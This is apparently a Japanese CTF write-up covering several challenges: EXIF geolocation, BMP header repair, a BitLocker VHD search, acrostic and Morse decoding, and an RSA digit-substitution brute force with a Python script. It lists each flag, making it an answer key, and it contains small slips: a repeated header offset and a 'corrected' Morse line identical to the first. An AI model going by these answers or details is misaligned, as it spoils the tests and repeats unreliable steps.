Filter                          : Adaptive
Interlace                       : Noninterlaced
Exif Byte Order                 : Big-endian (Motorola, MM)
XMP Toolkit                     : Image::ExifTool 12.60
Latitude                        : 43 deg 52' 38.32" N
Longitude                       : 79 deg 24' 31.00" W
Image Size                      : 1203x709
Megapixels                      : 0.853

撮影した場所の緯度、経度は以下の通り。

43°52'38.32"N 79°24'31.00"W

Google Mapで調べると、建物は以下の名称となっている。

Walmart Supercentre

ドメインwalmart.caとなっている。

ctf{walmart.ca}

Secrets (Forensics)

バイナリエディタで見ると、bmpのフォーマットに見える。0x0a-0x0bと0x0e-0x0fの位置に、\xde\xadというデータが入っているので、修正する。

0x0a-0x0b: de ad -> 36 00
0x0a-0x0b: de ad -> 28 00


画像にフラグが書いてあるが、これは通らなかった。

ctf{totally_the_correct_flag}

画像の高さを変更してみる。

0x16-0x17: f4 01 -> 50 02

元の画像の上にさらに画像が現れ、フラグが書いてあった。

ctf{1m4g3_s3cr3ts}

TinyTinyTinyTiny10 (Forensics)

VHD Attachをインストールし、vhdをマウントする。その際、bitlockerのパスワードを入力する。
その状態でFTK ImagerでLogical Driveとしてマウントしたドライブを指定して内容を確認してみる。
$RECYVLE.BIN配下のディレクトリを掘っていくと、calc.exeのDATAにフラグが書いてあった。

ctf{10V3D_4ND_1057}

I Can't Beelieve It (Crypto)

行頭の文字をつなげる。

knowne ctfall

ただし、eの行は以下のように書いてある。

Ending our exposition here, beware.

「私たちの説明はここで終わります。注意してください。」ということなので、空行の次から連結する。

ctfallknown
ctf{allknown}

Where Snakes Die (Crypto)

タブとスペースと"|"で構成されている。モールス信号と推測し、書き換える。

-.-. - ..-. - .- -... ... -- ...- . .-. ... .--. .- -.-. . ...

https://morsecode.world/international/translator.htmlでデコードする。

CTFTABSMVERSPACES

以下では通らない。

ctf{tabsmverspaces}

モール信号が間違っていると推測し、以下と考える。

-.-. - ..-. - .- -... ... -- ...- . .-. ... .--. .- -.-. . ...
ctf{tabsoverspaces}

RAID Safety Assays, But Fixed (Crypto)

nをfactordbで素因数分解する。

n = 62682123970325402653307817299 * 73849754237166590568543300233

cの値は数値文字として、置換されているので、ブルートフォースで復号し、フラグの形式になるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
from string import *
import itertools

e = 65537
n = 4629059450272139917534568159172903078573041591191268130667
c = 6743459147531103219359362407406880068975344190794689965016
c = str(c)

p = 62682123970325402653307817299
q = 73849754237166590568543300233
assert n == p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

nums = list(range(10))
for x in itertools.permutations(nums):
    real_c = ''
    for i in range(len(c)):
        real_c += str(x[int(c[i])])
    real_c = int(real_c)
    m = pow(real_c, d, n)
    flag = long_to_bytes(m)
    if flag.startswith(b'ctf{'):
        flag = flag.decode()
        print(flag)
        break
ctf{cryptpainfulflag}

Survey (General)

アンケートに答えたら、フラグが表示された。

ctf{h0p3_u_3nj0y3d}